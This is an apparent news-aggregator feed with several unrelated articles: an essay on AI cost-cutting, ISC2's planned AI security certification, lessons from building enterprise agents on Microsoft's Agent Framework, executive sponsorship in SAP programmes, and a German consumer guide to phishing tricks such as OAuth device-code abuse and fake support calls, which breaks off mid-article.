<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[ISC2 seeks input from IT pros for AI security certification]]></title>
<description><![CDATA[ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.



The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the kn...]]></description>
<link>https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.isc2.org/" target="_blank" rel="noreferrer noopener">ISC2</a> has begun developing a <a href="https://www.isc2.org/new-ai-certification#AI%20Security%20Certification%20Frequently%20Asked%20Questions" target="_blank" rel="noreferrer noopener">vendor-neutral AI security certification</a> aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.</p>



<p class="wp-block-paragraph">The nonprofit organization, best known for the <a href="https://www.isc2.org/certifications/cissp" target="_blank" rel="noreferrer noopener">CISSP certification</a>, says it is seeking volunteers worldwide to help define the knowledge and <a href="https://www.networkworld.com/article/3566827/global-cybersecurity-talent-gap-widens.html" target="_blank">skills</a> that will shape the new credential. While ISC2 has not finalized the certification domains, the <a href="https://www.prnewswire.com/news-releases/isc2-begins-developing-its-ai-security-certification-and-opens-call-for-volunteers-worldwide-302825622.html?tc=eml_cleartime" target="_blank" rel="noreferrer noopener">certification</a> is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.</p>



<p class="wp-block-paragraph">According to <a href="https://www.linkedin.com/in/caseymarks/">Casey Marks</a>, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.</p>



<p class="wp-block-paragraph">“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”</p>



<p class="wp-block-paragraph">ISC2 already includes <a href="https://www.networkworld.com/article/4196919/isc2-ai-raises-accountability-demands-for-cybersecurity-teams.html" target="_blank">AI-related content in certifications</a> including CISSP and <a href="https://www.isc2.org/certifications/CCSP" target="_blank" rel="noreferrer noopener">CCSP</a>, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.</p>



<p class="wp-block-paragraph">Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.</p>



<p class="wp-block-paragraph">ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for <a href="https://www.networkworld.com/article/4174188/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks.html" target="_blank">securing AI systems and managing AI risk</a>. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.</p>



<p class="wp-block-paragraph">Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.</p>



<p class="wp-block-paragraph">The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.</p>



<p class="wp-block-paragraph">For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.</p>



<p class="wp-block-paragraph">Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.</p>



<p class="wp-block-paragraph">Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.</p>



<p class="wp-block-paragraph">“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.</p>
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<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Phishing-Fallen: KI-Mails, QR-Codes, falsche Warnungen – so schützen Sie sich]]></title>
<description><![CDATA[Zwei große Änderungen hat es in den vergangenen Jahren bei Phishing-Angriffen gegeben: Die Kriminellen erstellen mithilfe von generativer KI sprachlich fast perfekte Mails, die in Stil, Struktur und Tonalität kaum noch von legitimen Nachrichten zu unterscheiden sind. Wo früher holpriges Deutsch s...]]></description>
<link>https://tsecurity.de/de/3691032/windows-tipps/phishing-fallen-ki-mails-qr-codes-falsche-warnungen-so-schuetzen-sie-sich/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691032/windows-tipps/phishing-fallen-ki-mails-qr-codes-falsche-warnungen-so-schuetzen-sie-sich/</guid>
<pubDate>Fri, 24 Jul 2026 10:47:37 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Zwei große Änderungen hat es in den vergangenen Jahren bei Phishing-Angriffen gegeben: Die Kriminellen erstellen mithilfe von generativer KI sprachlich fast perfekte Mails, die in Stil, Struktur und Tonalität kaum noch von legitimen Nachrichten zu unterscheiden sind. Wo früher holpriges Deutsch sofort Misstrauen geweckt hat, liest sich heute eine Phishing-Mail wie eine echte Mitteilung von Microsoft, einer Bank oder einem Paketdienst.</p>



<p>Auch das Design wirkt meist höchst professionell. Zum anderen sind auch die technischen Tricks beim Datendiebstahl heute höher entwickelt. Einige Maschen umgehen sogar eine Zwei-Faktor-Authentifizierung. Das Ziel der Angreifer bleiben vor allem Zugangsdaten, Session-Tokens und persönliche Infos.</p>



<h2 class="wp-block-heading">1. Microsoft-365-Log-in-Falle trickst Zwei-Faktor-Anmeldung aus</h2>



<p>Eine neue Angriffsmethode verwendet den originalen Microsoft-Anmeldedialog und kommt entsprechend fast ohne gefälschte Webseiten aus. Die Kriminellen nutzen dafür den Oauth-Device-Code-Flow. Das ist ein Anmeldeverfahren für Geräte oder Programme, die keinen brauchbaren Browser oder keine komfortable Texteingabe bieten, etwa Smart-TVs, IoT-Geräte, Drucker oder CLI-Tools. </p>



<p>Offiziell heißt er „OAuth 2.0 Device Authorization Grant“. Mit der Methode lassen sich auch Konten übernehmen, die mit einer Zwei-Faktor-Authentifizierung geschützt sind.</p>



<p>Die Kriminellen schicken an ihre Opfer eine Phishing-Nachricht und geben vor, das Gerät der Opfer müsste für den Log-in ins Microsoft-365-Konto neu autorisiert werden. Die Nachrichten beginnen meist harmlos, etwa mit „Ihre Sitzung ist abgelaufen“, und bieten einen Link zur Neuanmeldung. Wenn das Opfer dem Link in der Nachricht folgt, landet es zunächst auf einer gefälschten Website, schließlich aber beim offiziellen Microsoft-Authentifizierungsverfahren für Geräte und Anwendungen (Oauth-Device-Code-Flow).</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a63269712915"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Phishing-Fallen-M365-Phishing-Quelle-Proofpoint.jpg?quality=50&amp;strip=all" alt="Phishing Fallen M365 Phishing Quelle Proofpoint" class="wp-image-3187589" width="1140" height="1082" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Bei diesem Trick übernehmen die Angreifer auch Konten, die mit einem zweiten Faktor geschützt sind. Dafür kombinieren sie die echten Authentifizierungsseiten von Microsoft und Phishing-Webseiten.</p></figcaption></figure><p class="imageCredit">Proofpoint</p></div>



<p>Es handelt sich um echte Microsoft-Meldungen und Webseiten. Allerdings autorisiert das Opfer nicht den Zugang zu seinem eigenen PC oder Smartphone, sondern eine Anwendung der Kriminellen. Diese bekommen nach der Freigabe durch das getäuschte Opfer einen Access-Token. Damit kann die feindliche Anwendung per API auf das Microsoft-Konto zugreifen, ohne dass noch einmal ein Passwort eingegeben werden muss.</p>



<p>Übrigens: Die meisten dieser Angriffe verstecken den Link zur gefälschten Website in einem QR-Code. Dieser entgeht den Spam-Filtern eher als ein üblicher Link, und es lässt die meisten Opfer vom PC auf das Smartphone wechseln. </p>



<p>Auf diesem ist es wegen des kleineren Bildschirms und oft fehlender Sicherheits-Software noch wahrscheinlicher, dass das Opfer die Täuschung nicht bemerkt. <a href="https://tinyurl.com/2xhd6n6d" target="_blank" rel="noreferrer noopener">Eine ausführliche Analyse der Angriffe auf Microsoft-365-Konten haben die Sicherheitsexperten von Proofpoint veröffentlicht</a>.</p>



<h2 class="wp-block-heading">2. Support-Masche: Ihr Computer ist gesperrt &amp; Co.</h2>



<p>Die Support-Masche ist zwar nicht neu, funktioniert aber nach wie vor: Noch immer fallen zahlreiche Menschen auf die perfide Betrugsstrategie herein. Zu den prominenten Opfern zählt Bundestagspräsidentin Julia Klöckner. </p>



<p>Mutmaßlich staatlich organisierte Angreifer kontaktierten sie über den Messenger-Dienst Signal und gaben sich als vermeintliche Signal-Support-Mitarbeiter aus. Unter einem Vorwand forderten sie Klöckner und weitere Politiker auf, ihre PIN einzugeben. Dadurch erlangten die Angreifer Zugriff auf die Signal-Konten der Betroffenen – und damit auf private Chats und Kontakte.</p>



<p>Das Bundesamt für Verfassungsschutz und das Bundesamt für Sicherheit in der Informationstechnik (BSI) haben gemeinsam einen <a href="https://tinyurl.com/yc89cfjd" target="_blank" rel="noreferrer noopener">Leitfaden veröffentlicht</a>, der potenziellen Opfern hilft zu prüfen, ob ihr Signal-Konto übernommen wurde.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a632697134c5"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Phishing-Fallen-MS-Support-Quelle-Bundesnetzagentur.png" alt="Phishing Fallen MS Support Quelle Bundesnetzagentur" class="wp-image-3187588" width="938" height="640" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Phishing mit der Support-Masche. Durch eine vorgetäuschte Windows- oder Defender-Warnung werden Sie zu einem Telefongespräch mit den Angreifern gedrängt.</p></figcaption></figure><p class="imageCredit">Bundesnetzagentur</p></div>



<p>Ebenfalls weiterhin verbreitet sind Angriffe durch angebliche Microsoft-Support-Mitarbeiter. Die Betrüger kontaktieren ihre Opfer per Telefon, E-Mail oder über gefälschte Pop-up-Warnungen im Browser. </p>



<p>Dabei behaupten sie, der Windows-PC habe ein Sicherheitsproblem – etwa sei der Computer gesperrt oder mit Schadsoftware infiziert. Anschließend versuchen sie, die Betroffenen zur Installation einer Fernwartungssoftware oder eines vermeintlichen Sicherheitstools zu bewegen. Tatsächlich erhalten die Angreifer dadurch oft vollständigen Zugriff auf den Rechner.</p>



<h2 class="wp-block-heading">3. Gefälschter Microsoft Defender warnt</h2>



